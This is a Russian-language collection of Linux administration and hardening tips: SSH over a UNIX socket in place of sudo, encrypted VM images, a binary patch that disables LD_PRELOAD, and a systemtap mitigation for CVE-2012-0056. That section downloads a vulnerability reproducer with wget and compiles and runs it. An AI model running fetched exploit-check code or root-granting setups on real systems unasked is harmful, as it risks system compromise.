    настройках автопроигрывания медиа, помогающие автору TDesktop энтузиасты
    создали канал https://t.me/tdesktop_crash, продолжительная прокрутка которого
    должна приводить к утечкам памяти. При этом при нормальном поведении закрытие
    этого окна (переключение на другой чат) должна освобождать память.
    
    Выяснилось, что на Windows при переключении чата память освобождается, на
    обычном Linux glibc - не освобождаются несколько Гб, но происходит почти полное
    освобождение через некоторое время, если запустить Telegram Desktop с
    аллокатором jemalloc из FreeBSD (пример для Debian, подробности
    см. в документации jemalloc):
    
      LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 telegram-desktop
    
    Аналогичные (или даже лучше) результаты были получены на дистрибутивах без
    glibc, например Alpine, где применяется musl.
    
    Поскольку в разных дистрибутивах могут быть разные политики по сборке
    (статически и без), и майнтейнеры могут испытывать проблемы с включением
    решения, а современные аллокаторы сложны, и, возможно, glibc malloc может быть
    соответствующим образом настроен, к экспериментам и помощи приглашаются знатоки.
    
     
    ----* Решение проблемы с повышенным энергопотреблением при использовании Linux-ядер 2.6.38 и 2.6.39 (доп. ссылка 1)   [комментарии]
     
    В используемом в Ubuntu 11.04 и Fedora 15 Linux-ядре 2.6.38, а также в 2.6.39 и
    тестовых версиях 3.0-rc наблюдается возрастание энергопотребления на 10-30%.
    Кроме Phoronix подобная тенденция наблюдалась в тестах издания Tom's Hardware.
    
    По предварительным данным, одна из приводивших к повышению энергопотребления проблем
    связана
     с изменением в коде поддержки ASPM (Active-State Power Management) для плат
    PCI Express, который стал активироваться только при сигнализации о поддержке
    ASPM со стороны BIOS (определенные реализации BIOS указывают, что ASPM  не
    поддерживается, но все равно инициализирует данную поддержку для некоторых устройств).
    
    Экспериментальным путем был выявлен обходной путь решения проблемы, который
    позволяет уменьшить энергопотребление в среднем на 15%. Для решения проблемы
    систему следует загрузить передав ядру в интерфейсе загрузчика GRUB параметр "pcie_aspm=force".
    
     

       Увеличение безопасности Linux

    ----* Использование SSH поверх UNIX-сокета вместо sudo (доп. ссылка 1)   [комментарии]
     
    Тимоти Равье (Timothee Ravier) из компании Red Hat, мэйнтейнер проектов Fedora
    Silverblue и Fedora Kinoite, предложил заслуживающий внимания способ ухода
    от применения утилиты sudo, использующей  suid-бит для повышения привилегий.
    Вместо sudo для выполнения обычным пользователем команд с правами root
    предлагается задействовать утилиту ssh с локальным соединением к той же системе
    через UNIX-сокет.
    
    Проверка полномочий осуществляется на основе SSH-ключей. Для ограничения доступ
    дополнительно может быть задействовано подтверждение полномочий при помощи
    USB-токена (например, Yubikey). Использование ssh вместо sudo позволяет
    избавиться от suid-программ в системе и организовать  выполнение
    привилегированных команд в хост-окружении дистрибутивов, использующих
    контейнерную изоляцию компонентов, таких как Fedora Silverblue, Fedora Kinoite,
    Fedora Sericea и Fedora Onyx.
    
    Настраиваем серверные компоненты OpenSSH для доступа через локальный Unix-сокет
    (будет запускаться отдельный экземпляр sshd со своим файлом конфигурации):
    
    /etc/systemd/system/sshd-unix.socket:
    
       [Unit]
       Description=OpenSSH Server Unix Socket
       Documentation=man:sshd(8) man:sshd_config(5)
    
       [Socket]
       ListenStream=/run/sshd.sock
       Accept=yes
    
       [Install]
       WantedBy=sockets.target
    
    
    
    /etc/systemd/system/sshd-unix@.service:
    
       [Unit]
       Description=OpenSSH per-connection server daemon (Unix socket)
       Documentation=man:sshd(8) man:sshd_config(5)
       Wants=sshd-keygen.target
       After=sshd-keygen.target
    
       [Service]
       ExecStart=-/usr/sbin/sshd -i -f /etc/ssh/sshd_config_unix
       StandardInput=socket
    
    
    /etc/ssh/sshd_config_unix:
    
       # Оставляет только аутентификацию по ключам
       PermitRootLogin prohibit-password
       PasswordAuthentication no
       PermitEmptyPasswords no
       GSSAPIAuthentication no
    
       # ограничиваем доступ выбранным пользователям
       AllowUsers root adminusername
    
       # Оставляем только использование .ssh/authorized_keys (без .ssh/authorized_keys2
       AuthorizedKeysFile .ssh/authorized_keys
    
       # включаем sftp
       Subsystem sftp /usr/libexec/openssh/sftp-server
    
    
    Активируем и запускаем юнит systemd:
    
       sudo systemctl daemon-reload
       sudo systemctl enable --now sshd-unix.socket
    
    
    Добавляем свой SSH-ключ в /root/.ssh/authorized_keys
    
    
    Настраиваем работу SSH-клиента.
    
    Устанавливаем утилиту socat:
    
       sudo dnf install socat
    
    Дополняем /.ssh/config, указав socat в качестве прокси для доступа через UNIX-сокет:
    
       Host host.local
           User root
           # Используем /run/host/run вместо /run для работы из контейнеров
           ProxyCommand socat - UNIX-CLIENT:/run/host/run/sshd.sock
    
           # Путь к SSH-ключу
           IdentityFile ~/.ssh/keys/localroot
    
           # Включаем поддержку TTY для интерактивной оболочки
           RequestTTY yes
    
           # Убираем лишний вывод
           LogLevel QUIET
    
    В текущем виде пользователь adminusername теперь сможет выполнить команды с
    правами root без ввода пароля. Проверяем работу:
    
       $ ssh host.local
       [root ~]#
    
    
    Создаём в bash псевдоним sudohost для запуска "ssh host.local" по аналогии с sudo:
    
       sudohost() {
           if [[ ${#} -eq 0 ]]; then
               ssh host.local "cd \"${PWD}\"; exec \"${SHELL}\" --login"
           else
               ssh host.local "cd \"${PWD}\"; exec \"${@}\""
           fi 
       }
    
    Проверяем:
    
       $ sudohost id
       uid=0(root) gid=0(root) groups=0(root) 
    
    
    Добавляем проверку полномочий и включаем двухфакторную аутентификацию,
    допускающую доступ к root только при вставке USB-токена Yubikey.
    
    Проверяем, какие алгоритмы поддерживает  имеющийся Yubikey:
    
       lsusb -v 2>/dev/null | grep -A2 Yubico | grep "bcdDevice" | awk '{print $2}'
    
    Если выведено 5.2.3 или большее значение, используем ed25519-sk при генерации
    ключей, иначе - ecdsa-sk:
    
       ssh-keygen -t ed25519-sk
    или
       ssh-keygen -t ecdsa-sk
    
    Добавляет открытый ключ в /root/.ssh/authorized_keys
    
    Добавляем привязку к типу ключа в конфигурацию sshd:
    
    /etc/ssh/sshd_config_unix:
    
       PubkeyAcceptedKeyTypes sk-ecdsa-sha2-nistp256@openssh.com,sk-ssh-ed25519@openssh.com
    
    Ограничиваем доступ к Unix-сокету только пользователя, которому можно повышать
    привилегии (в нашем примере - adminusername). В
    /etc/systemd/system/sshd-unix.socket добавляем:
    
       [Socket]
       ...
       SocketUser=adminusername
       SocketGroup=adminusername
       SocketMode=0660
    
     
    ----* Создание шифрованных образов виртуальных машин (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по созданию полностью зашифрованного образа гостевой системы, в
    котором шифрование охватывает корневой раздел и стадию загрузки.
    
    Извлекаем содержимое корневого раздела образа виртуальной машины, который
    требуется зашифровать,  в tar-архив vm_root.tar. Проверяем, чтобы в образе были
    необходимые для шифрования и EFI-загрузки разделов утилиты, такие как
    cryptodisk и grub-efi.
    
    Создаём файл с дисковым образом, содержащим два раздела - небольшой раздел для
    EFI (p1, 100МБ)  и корневой раздел, содержимое которого будет зашифровано (p2).
    
    
       truncate -s 4GB disk.img
       parted disk.img mklabel gpt
       parted disk.img mkpart primary 1Mib 100Mib
       parted disk.img mkpart primary 100Mib 100%
       parted disk.img set 1 esp on
       parted disk.img set 1 boot on
    
    Настраиваем EFI на первом разделе и дисковое шифрование LUKS на втором. Для
    повышения защищённости можно заполнить шифрованный раздел случайными числами,
    но это приведёт к увеличению размера итогового образа qcow2. Создаём на
    шифрованном разделе ФС Ext4.
    
    привязываем образ к loop-устройству
    
       losetup -P -f disk.img          
    
    определяем имя созданного устройства (/dev/loopN), в дальнейшем используем
    переменную $l вместо устройства
    
       l=($(losetup -l|grep disk.img)) 
    
    создаём раздел с EFI, используем VFAT
    
       mkfs.vfat ${l}p1
    
    определяем UUID раздела EFI
    
       blkid ${l}p1  
    
    создаём шифрованный раздел, в процессе задаём временный пароль для расшифровки
    
       cryptsetup --type luks1 luksFormat ${l}p2 
    
    определяем UUID шифрованного раздела
    
       blkid ${l}p2 
    
    активируем шифрованный раздел и создаём на нём ФС ext4
    
       cryptsetup luksOpen ${l}p2 cr_root
       mkfs.ext4 /dev/mapper/cr_root
    
    монтируем раздел, копируем в него содержимое tar-архива с начинкой корневого
    раздела и создаём каталоги для точек монтирования /run, /sys, /proc и /dev.
    
       mount /dev/mapper/cr_root /mnt
       tar -C /mnt -xpf vm_root.tar
       for m in run sys proc dev; do mount --bind /$m /mnt/$m; done
    
    входим в окружение созданного корневого раздела
    
       chroot /mnt
    
    В /etc/fstab определяем метку корневого раздела (/dev/disk/cr_root) и раздела  EFI (/boot/efi).
    
    Настраиваем и устанавливаем загрузчик GRUB (в некоторых дистрибутивах вместо
    /boot/grub используется /boot/grub2, а вместо префикса "grub" - "grub2-"):
    
      echo "GRUB_ENABLE_CRYPTODISK=y" >> /etc/default/grub
       mount /boot/efi
       grub-install --removable --target=x86_64-efi
       grub-mkconfig -o /boot/grub/grub.cfg
    
    Для систем с mkinitramfs (Debian) дополнительно нужно добавить параметры
    шифрованного раздела в /etc/crypttab:
    
       cr_root UUID=<uuid> luks none
    
    После чего пересоздаём образ ram-диска с компонентами для начальной загрузки. 
    
    
    Для систем с dracut требуется изменить настройки /etc/default/grub, указав в
    GRUB_CMDLINE_LINUX привязку rd.luks.uuid=<UUID>. Для дистрибутивов с SELinux
    также нужно обновить метки (relabel).
    
    Отмонтируем созданные в процессе подготовки образа разделы из /mnt и пытаемся
    загрузить образ, используя режим EFI. В процессе загрузки вводим заданный ранее
    временный пароль и проверяем работоспособность окружения.
    
    Заменяем временный пароль на ключ для быстрой загрузки и настраиваем ram-диск
    для его использования. Для образа, примонтированного через /dev/sda:
    
       dd if=/dev/urandom bs=1 count=33|base64 -w 0 > /etc/cryptsetup-keys.d/luks-<UUID>.key
       chmod 600 /etc/cryptsetup-keys.d/luks-<UUID>.key
       cryptsetup --key-slot 1 luksAddKey /dev/sda2 # первичный ключ для восстановления
       cryptsetup --key-slot 0 luksRemoveKey /dev/sda2 # удаляем временный ключ
       cryptsetup --key-slot 0 --iter-time 1 luksAddKey /dev/sda2 /etc/cryptsetup-keys.d/luks-<UUID>.key
    
    Указание опции "-w 0" в dd необходимо для того, чтобы исключить появление в
    пароле символа перевода строки.
    
    Для систем с mkinitramfs теперь нужно изменить настройки /etc/crypttab, указав
    путь к сгенерированному ключу:
    
       cr_root UUID=<UUID> /etc/cryptsetup-keys.d/luks-<UUID>.key luks
    
    Для систем с dracut необходимо добавить hook ключа в /etc/dracut.conf.d, а для
    Debian также потребуется указать маску определения файла с ключом:
    
    cryptodisk.conf 
       install_items+=" /etc/cryptsetup-keys.d/* "
    
       echo "KEYFILE_PATTERN=\"/etc/cryptsetup-keys.d/*\"" >>/etc/cryptsetup-initramfs/conf-hook
    
    Теперь можно перегенерировать образ RAM-диска начальной загрузки. После попытки
    загрузки пароль будет спрошен один раз только на стадии запуска GRUB и на
    последующих стадиях загрузки запрашиваться не будет.
    
     
    ----* Отключение LD_PRELOAD в Linux (доп. ссылка 1)   [комментарии]
     
    Для блокирования работы переменной окружения LD_PRELOAD, позволяющей
    принудительно загрузить разделяемую библиотеку со своими обработчиками для
    функций используемых в программе библиотек, можно использовать следующий скрипт.
    
    ldpreload-disable.sh:
    
       #!/bin/bash
    
       if [ $# -lt 1 ];then
    	printf "./ldpreload-disable.sh [ld-linux.so] [64|32]\n"
    	exit 0
       fi
    
       ld_linux="$1"
       [ "$2" == "64" ] && xor='\x48' || xor=''
    
       offset=$((16#$(readelf -s $ld_linux | awk '/do_preload/ {print $2}')))
       printf $xor'\x31\xc0\xc3' | dd conv=notrunc of=$ld_linux bs=1 seek=$offset
    
    
    
    Пример использования для 64-разрядной системы:
    
       $ sudo bash ldpreload-disable.sh $HOME/fedora-chroot/lib64/ld-2.22.so 64
    
    для 32-разрядной системы:
    
       $ sudo bash ldpreload-disable.sh $HOME/fedora-chroot/lib/ld-2.22.so 32
    
     
    ----* Запуск Skype в изолированном окружении Apparmor (доп. ссылка 1)   [комментарии]
     
    Для защиты от потенциального доступа закрытого приложения Skype к данным других
    программ можно организовать выполнение Skype в изолированном окружении.
    
    Создаём профиль Apparmor на основе тестового запуска приложения:
    
       sudo genprof /usr/bin/skype
    
    После этого будет создан профиль для  сбора информации о работе приложения. В
    другой консоли запускаем Skype, делаем тестовый вызов и выходим из Skype.
    
    Повторно запускаем:
    
       sudo genprof /usr/bin/skype
    
    и инициируем сканирование накопленных событий, выбрав "S". В процессе вывода
    результатов выбираем что можно процессу, а что нет. В завершении жмём "S" для
    сохранения профиля и "F" для выхода.
    
    Профиль будет создан в файле /etc/apparmor.d/usr.bin.skype
    Если нет желания разбираться с составлением правил вручную можно использовать готовый профиль:
    
       #include <tunables/global>
       /usr/bin/skype {
          #include <abstractions/audio>
          #include <abstractions/base>
          #include <abstractions/fonts>
          #include <abstractions/nameservice>
          #include <abstractions/nvidia>
          /etc/gai.conf r,
          /home/*/.ICEauthority r,
          /home/*/.Skype/** krw,
          /home/*/.Xauthority r,
          /home/*/.config/* kr,
          /home/*/.kde/share/config/kioslaverc r,
          /proc/*/cmdline r,
          /tmp/.ICE-unix/* w,
          /tmp/.X11-unix/* w,
          /usr/bin/skype mr,
          /usr/share/X11/* r,
          /usr/share/icons/** r,
          /usr/share/skype/** kr,
        }
    
    Перезапускаем AppArmor:
    
       sudo /etc/init.d/apparmor restart
    
    Активируем работу Skype в sandbox-окружении Apparmor:
    
       sudo aa-enforce skype
    
    Проверяем результат:
    
     sudo sudo apparmor_status
    
     
    ----* Использование systemtap для устранения уязвимости в реализации /proc/pid/mem (доп. ссылка 1)   [комментарии]
     
    Для устранения уязвимости CVE-2012-0056 в /proc/pid/mem без обновления ядра
    Linux можно использовать systemtap для ограничения системного вызова. Systemtap
    из коробки доступен в RHEL/CentOS и может быть установлен из репозитория в
    Debian/Ubuntu. Без systemtap обходным путем решения проблемы является
    блокирования доступа пользователя на запуск setuid-программ.
    
    Проверим, уязвима ли наша система. Для этого загружаем, собираем и запускаем
    специальную проверочную утилиту:
    
       $ wget http://grsecurity.net/~spender/correct_proc_mem_reproducer.c
       $ make correct_proc_mem_reproducer
       $ ./correct_proc_mem_reproducer
       vulnerable
    
    Рассмотрим процесс установки и использования systemtap в Ubuntu и Debian.
    
    Установим systemtap и пакет для отладки ядра (занимает около 2 Гб)
    
    Debian:
    
       sudo apt-get install -y systemtap linux-image-$(uname -r)-dbg
    
    Ubuntu (требуется подключение отладочного репозитория):
    
       sudo apt-get install -y lsb-release
       echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \\
         tee -a /etc/apt/sources.list.d/ddebs.list
       sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
       sudo apt-get update
       sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
    
    Если в процессе выполнения "apt-get update" выведена ошибка, загружаем и
    устанавливаем отладочные пакеты с ядром вручную:
    
       sudo apt-get install -y systemtap dpkg-dev
       wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | \\
          grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
       sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
    
    Создаём systemtap-скрипт proc-pid-mem.stp для блокирования уязвимости (в
    функции mem_write изменяем на ноль значение аргумента count, определяющего
    размер записываемых данных):
    
       probe kernel.function("mem_write@fs/proc/base.c").call {
               $count = 0
       }
    
    Запускаем скрипт:
    
       sudo stap -Fg proc-pid-mem.stp
    
    Убедимся, что уязвимость теперь не проявляется:
    
       $ ./correct_proc_mem_reproducer
       not vulnerable
    
    
    Чтобы каждый раз не компилировать модуль systemtap, можно собрать его загодя:
    
       stap -g -m cve_2012_0056 proc-pid-mem.stp -p4
    
    (опция  "-g" включает режим гуру, при котором допускается изменение параметров
    функций, опция -m cve_2012_0056 задаёт имя модуля, -p4 указывает на
    необходимость остановиться на 4 шаге и не загружать модуль)
    
    Копируем созданный модуль в область с модулями ядра:
    
       mkdir /lib/modules/$(uname -r)/systemtap
       cp cve_2012_0056.ko /lib/modules/$(uname -r)/systemtap
    
    Запускаем модуль:
    
       staprun -L cve_2012_0056
    
    Достоинство использования готового модуля в том, что для его запуска нет
    необходимости в отладочных пакетах (для сборки они нужны), т.е. его можно
    скопировать на другие системы с той же версией ядра Linux.
    
    По аналогии можно вклиниваться в работу других системных вызовов. Некоторые 
    примеры:
    
    
    
       Запрет на создание файлов с определённым именем:
       #!/usr/bin/env stap
       # badname.stp
       # Prevent the creation of files with undesirable names.
       # Source: http://blog.cuviper.com/2009/04/08/hacking-linux-filenames/
    
       # return non-zero if the filename should be blocked
       function filter:long (name:string)
       {
         return isinstr(name, "XXXbadnameXXX")
       }
    
       global squash_inode_permission
       probe kernel.function("may_create@fs/namei.c")
       {
         # screen out the conditions which may_create will fail anyway
         if ($child->d_inode || $dir->i_flags & 16) next
    
         # check that the new file meets our naming rules
         if (filter(kernel_string($child->d_name->name)))
           squash_inode_permission[tid()] = 1
       }
       probe kernel.function("inode_permission@fs/namei.c").return !,
             kernel.function("permission@fs/namei.c").return
       {
       if (!$return && squash_inode_permission[tid()])
         $return = -13 # -EACCES (Permission denied)
         delete squash_inode_permission[tid()]
       }
    
    
    Блокирование работы ptrace: http://sourceware.org/systemtap/examples/process/noptrace.stp
    
    Вывод в лог дополнительных данных о всех TCP-соединениях:
    
       #! /usr/bin/env stap
    
       probe begin {
         printf("%6s %16s %6s %6s %16s\\n",
             "UID", "CMD", "PID", "PORT", "IP_SOURCE")
       }
    
       probe kernel.function("tcp_accept").return?,
             kernel.function("inet_csk_accept").return? {
         sock = $return
         if (sock != 0)
           printf("%6d %16s %6d %6d %16s\\n", uid(), execname(), pid(),
               inet_get_local_port(sock), inet_get_ip_source(sock))
       }
    
    Вывод деталей о входе и выходе из функции ядра:
    
       #! /usr/bin/env stap
       # Simple probe to detect when a process is waiting for more socket send
       # buffer memory. Usually means the process is doing writes larger than the
       # socket send buffer size or there is a slow receiver at the other side.
       # Increasing the socket's send buffer size might help decrease application
       # latencies, but it might also make it worse, so buyer beware.
       #
       # Typical output: timestamp in microseconds: procname(pid) event
       #
       # 1218230114875167: python(17631) blocked on full send buffer
       # 1218230114876196: python(17631) recovered from full send buffer
       # 1218230114876271: python(17631) blocked on full send buffer
       # 1218230114876479: python(17631) recovered from full send buffer
    
       probe kernel.function("sk_stream_wait_memory")
       {
      	printf("%u: %s(%d) blocked on full send buffer\\n",
    		gettimeofday_us(), execname(), pid())
       }
    
       probe kernel.function("sk_stream_wait_memory").return
       {
    	printf("%u: %s(%d) recovered from full send buffer\\n",
    		gettimeofday_us(), execname(), pid())
       }
    
     
    ----* Запрещение загрузки модулей Linux-ядра (доп. ссылка 1)   [комментарии]
     
    Повысить безопасность серверов и защитить их от внедрения руткитов в системах
    на базе Linux-ядра младше 2.6.25 (например, CentOS/RHEL 5) можно используя
    режим Capability Bounding, включаемый через файл /proc/sys/kernel/cap-bound.
    Capability Bounding действует на все процессы, если какой-то из
    Capability-режимов запрещен через /proc/sys/kernel/cap-bound, то использовать
    данную возможность не сможет ни один процесс, независимо от его привилегий.
    Используя данный режим можно блокировать для пользователя root возможность
    загрузки модулей ядра, изменения правил пакетного фильтра, использования
    raw-сокетов, изменения владельца файлов, монтирования разделов и других
    системных действий.
    
    
    Посмотреть текущее состояние режима можно командой:
    
       cat /proc/sys/kernel/cap-bound
    
    а для установки нового значения, можно использовать команду:
    
      echo значение > /proc/sys/kernel/cap-bound
    
    Значение содержит шестнадцатеричное или десятичное представление битовой маски,
    кодирующей устанавливаемые флаги.
    
    Например, установив режим CAP_SYS_MODULE (для установки нужно очистить бит номер 16):
    
       echo $((0xffffffff ^ (1 << 16))) > /proc/sys/kernel/cap-bound
    
    или в шестнадцатеричном виде:
    
     echo 0xFFFEFFFF > /proc/sys/kernel/cap-bound
    
    будет заблокирована загрузка любых модулей ядра.
    
    Попытка загрузить или выгрузить модуль приведет к выводу ошибки.
    
       modprobe ide_cd
    
    приведет к выводу ошибки:
    
       FATAL: Error inserting ide_cd (/lib/modules/2.6.18-194.3.1.el5/kernel/drivers/ide/ide-cd.ko): Operation not permitted
    
    Изменять /proc/sys/kernel/cap-bound нужно с большой осторожностью, так как
    установка неверного значения может привести к неработоспособности системы.
    Установленный флаг уже не может быть изменен, т.е. злоумышленник не может
    записать 0xFFFFFFFF и отменить установку маски 0xFFFEFFFF.
    
    
    Список других Capability-режимов можно посмотреть в файле /usr/src/linux/include/linux/capability.h:
    
       grep '#define CAP' /usr/src/linux/include/linux/capability.h
    
    
       #define CAP_CHOWN            0
       #define CAP_DAC_OVERRIDE     1
       #define CAP_DAC_READ_SEARCH  2
       #define CAP_FOWNER           3
       #define CAP_FSETID           4
       #define CAP_KILL             5
       #define CAP_SETGID           6
       #define CAP_SETUID           7
       #define CAP_SETPCAP          8
       #define CAP_LINUX_IMMUTABLE  9
       #define CAP_NET_BIND_SERVICE 10
       #define CAP_NET_BROADCAST    11
       #define CAP_NET_ADMIN        12
       #define CAP_NET_RAW          13
       #define CAP_IPC_LOCK         14
       #define CAP_IPC_OWNER        15
       #define CAP_SYS_MODULE       16
       #define CAP_SYS_RAWIO        17
       #define CAP_SYS_CHROOT       18
       #define CAP_SYS_PTRACE       19
       #define CAP_SYS_PACCT        20
       #define CAP_SYS_ADMIN        21
       #define CAP_SYS_BOOT         22
       #define CAP_SYS_NICE         23
       #define CAP_SYS_RESOURCE     24
       #define CAP_SYS_TIME         25
       #define CAP_SYS_TTY_CONFIG   26
       #define CAP_MKNOD            27
       #define CAP_LEASE            28
       #define CAP_AUDIT_WRITE      29
       #define CAP_AUDIT_CONTROL    30
       #define CAP_SETFCAP	     31
       #define CAP_MAC_OVERRIDE     32
       #define CAP_MAC_ADMIN        33
       
    Описание можно найти в стандартном системном руководстве:
    
       man 7 capabilities
    
    Возможность /proc/sys/kernel/cap-bound работает только для Linux-ядер до версии
    2.6.25. Начиная с ядра 2.6.25 прекращена поддержка глобального общесистемного
    Capability Bounding, маску можно указывать с использованием системного вызова
    prctl только для отдельных нитей (установка Capability Bounding для процесса,
    отражается и на всех его потомках).
    
    Для блокирования загрузки модулей в более новых ядрах следует использовать файл
    /proc/sys/kernel/modules_disabled (для запрета загрузки модулей в него
    достаточно записать 1).
    
     
    ----* Создание шифрованного загрузочного LiveUSB c Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Добавление Loop-AES шифрования к Debian Live.
    
    Устанавливаем пакет для создания livecd сборки debian (все операции проводятся
    под пользователем root):
    
       apt-get install live-helper
    
    Создаем директорию в которой будем производить сборку (на диске должно быть
    минимум 3 Гб свободного места):
    
       mkdir DebianLive
       cd DebianLive
    
    Определяем конфигурацию LiveCD:
    
       lh_config -b usb-hdd -d lenny -e aes256
    
    При необходимости правим параметры или удаляем/добавляем пакеты через правку
    настроек в созданной директории config/:
    Дополнительные пакеты можно поместить в config/chroot_local-packages/
    Список пакетов из стандартных репозиториев в config/chroot_local-packageslists/
    (готовый список в /usr/share/live-helper/lists/)
    Помещаемые на LiveUSB дополнительные файлы  можно скопировать в config/chroot_local_includes/,
    например для добавления /etc/privoxy/config, его нужно скопировать как config/chroot_local-includes/etc/privoxy/config
    
    
    Запускаем процесс сборки LiveCD:
    
       lh_build
    
    в процессе работы скрипт потребует два раза ввести пароль, под которым будет
    осуществляться доступ к содержимому LiveUSB.
    
    Далее копируем получившийся образ на usb flash /dev/sdc:
    
       dd if=binary.img of=/dev/sdc bs=1M
    
    Шифрование используется для безопасного хранения на LiveUSB таких данных как
    PGP ключи, сохранные в firefox ключи и пароли.
    
    Некоторые полезные опции lh_config:
    -d lenny  - имя релиза (lenny|squeeze|sid)
    -b usb-hdd  - тип итогового образа (iso|net|tar|usb-hdd)
    -e aes256   - тип шифрования (aes128|aes192|aes256)
    --mirror-bootstrap http://192.168.100.1:3142/ftp.de.debian.org/mirror/debian/
    --mirror-chroot http://192.168.100.1:3142/ftp.de.debian.org/mirror/debian/ 
    --mirror-chroot-security http://192.168.100.1:3142/security.debian.org/ 
         перенаправление к локальному apt-proxy
    --debian-installer enabled  - добавить инсталлятор Debian в Live-образ
    --debian-installer-distribution lenny  - выбор дистрибутива для инсталлятора (lenny|squeeze|sid)
    --packages-lists "my_package_list" установить пакеты определенные в config/chroot_locale-packageslist/my_package_list
    --bootstrap-flavour minimal --packages-lists "minimal"  - формирование
    минимального образа, размером около 100 Мб
    
     
    ----* Изменение метода хэширования паролей в Red Hat подобных дистрибутивах (доп. ссылка 1)   [комментарии]
     
    В будущих версиях RHEL и Fedora Linux появится возможность
     использования для хэширования паролей алгоритмов SHA-256 и SHA-512 
    
    В Kickstart режиме:
    
    DES
    
       authconfig --enableshadow --passalgo=descrypt
    
    MD5
    
       authconfig --enableshadow --enablemd5
    или
       authconfig --enableshadow --passalgo=md5
    
    SHA-256
    
       authconfig --enableshadow --passalgo=sha256
    
    SHA-512
    
       authconfig --enableshadow --passalgo=sha512
    
    Тип хэша также можно задать через /etc/logis.desf, присвоив переменной
     ENCRYPT_METHOD значение DES, MD5, SHA256 или SHA512
    
     
    ----* Настройка аутентификации по отпечаткам пальцев в Ubuntu Linux   [комментарии]
     
    Устанавливаем пакеты необходимые для сборки системы fprint:
      aptitude install libpam0g-dev libusb-dev libmagick9-dev libglib2.0-dev libssl-dev
      aptitude install libgtk2.0-dev libx11-dev libxv-dev # если будет сборка с поддержкой x11
    
    Загружаем libfprint и pam_fprint с сайта http://www.reactivated.net/fprint 
    Собираем стандартно через: 
       ./configure
       make
       make install
    
    Или пересобираем готовые Debian пакеты:  
    ---
       Качаем .dsc, tar.gz и diff.gz со страниц
       http://packages.debian.org/experimental/libfprint0
       http://packages.debian.org/experimental/libpam-fprint
    
       Устанавливаем доп. пакеты необходимые для сборки:
       aptitude install fakeroot autotools-dev debhelper dpkg-dev 
       
       dpkg-source -x libfprint_0.0.5-2.dsc
       cd libfprint-0.0.5
       dpkg-buildpackage -rfakeroot 
    
       Пакет libpam-fprint создается по аналогии
    ---
    
    Генерируем слепок отпечатка указательного пальца 
    (запускаем под логином для которого сохраняем отпечаток):
       pam_fprint_enroll --enroll-finger 7
    
    Для опциональной аутентификации по отпечатку (возможность ввести пароль остается), 
    в /etc/pam.d/common-auth первой строкой ставим:
       auth   sufficient      pam_fprint.so
    
    Если пускать в систему нужно только после сверки отпечатка, "sufficient" заменяем на "required".
    
    PS. В Gentoo Linux добавляем в /etc/pam.d/system-auth перед строкой c pam_unix.so
    
     
    ----* Изменение атрибутов ext2fs и ext3fs используя chattr (доп. ссылка 1)   [обсудить]
     
    Команда chattr позволяет изменять параметры ФС для отдельного файла или директории:
       chattr +a - только добавление данных (append-only), удаление и переименование запрещено;
       chattr +i - запрещено удаление, изменение или переименование (immutable);
       chattr +A - запретить сохранение данных о каждом обращении к файлу (no atime)
       chattr +S - синхронное изменение всех данных на диск, без кэширования;
       chattr +c - файл будет хранится на диске в сжатом виде (нужен отдельный патч для ядра);
       chattr +s - после удаления файла, место на диске забивается нулями (внешний патч);
       chattr +u - резервирование данных файла после удаления (внешний патч);
    
    Пример:
       chattr -R +i /bin /sbin /usr/bin /usr/sbin - запрещаем изменение бинарников
       chattr +a /var/log/secure - предотвращаем модификацию лога злоумышленником
    
    Для просмотра расширенных атрибутов используется утилита lsattr.
    
    Для FreeBSD см. man chflags и man security
    
     
    ----* Как защитить Linux от некоторых DoS атак.   [комментарии]
     
    Настройки для увеличения безопасности:
      /sbin/sysctl -w net.ipv4.conf.all.send_redirects=0
      /sbin/sysctl -w net.ipv4.conf.all.accept_redirects=0
      /sbin/sysctl -w net.ipv4.conf.all.accept_source_route=0
      /sbin/sysctl -w net.ipv4.conf.all.mc_forwarding=0
      /sbin/sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
      /sbin/sysctl -w net.ipv4.icmp_ignore_bogus_error_responses=1
      /sbin/sysctl -w net.ipv4.conf.all.log_martians=1
      /sbin/sysctl -w net.ipv4.conf.all.rp_filter=1
    
     
    ----* Как в linux преобразовать /etc/passwd в shadow   [обсудить]
     
    /usr/sbin/pwconv
    
     
    ----* Как в linux разрешить su только для членов группы wheel   [комментарии]
     
    Добавить в /etc/pam.d/su
    auth     required       pam_wheel.so
    
     

       Установка и работа с пакетами программ в Linux

    ----* Перекомпиляция пакета с icq клиентом в Ubuntu/Debian и Fedora/RHEL/CentOS Linux   [комментарии]
     
    Рассмотрим внесение патча c исправлением на примере пакета licq в Ubuntu Linux.
    
    Убедимся, что в /etc/apt/sources.list присутствует строчка:
    
       deb-src http://archive.ubuntu.com/ubuntu/ intrepid main universe restricted multiverse
    
    Обновляем список пакетов:
    
       apt-get update
    
    Загружаем файлы, необходимые для сборки пакета licq:
    
       apt-get source licq
    
    Устанавливаем окружение, необходимое для сборки пакетов:
    
       apt-get install devscripts 
       apt-get install build-essential
       apt-get install fakeroot
    
    Сохраняем наш патч в licq-rus-login.patch
    (ссылки на патчи с исправление проблемы коннекта icq можно найти здесь -
     http://www.opennet.ru/opennews/art.shtml?num=19883)
    
    Накладываем наш патч:
    
       cd ./licq-1.3.6/src
       cat ../../licq-rus-login.patch| patch -p0
       cd ../.. 
    
    
    Загружаем дополнительные пакеты с библиотеками и программами от которых зависит licq:
    
       apt-get build-dep licq
    
    Собираем пакет:
    
       fakeroot apt-get -b source licq
    
    Устанавливаем пакет:
    
       dpkg -i licq_*.deb licq-plugin-gt*.deb
    
    PS. Для Pingin собирать нужно libpurple0
    
    ----------------
    
    Для Fedora Linux процесс пересборки будет выглядеть так:
    
    Загружаем  SRC-пакет licq:
    
       wget http://mirror.yandex.ru/fedora/linux/releases/10/Everything/source/SRPMS/licq-1.3.5-4.fc10.src.rpm
    
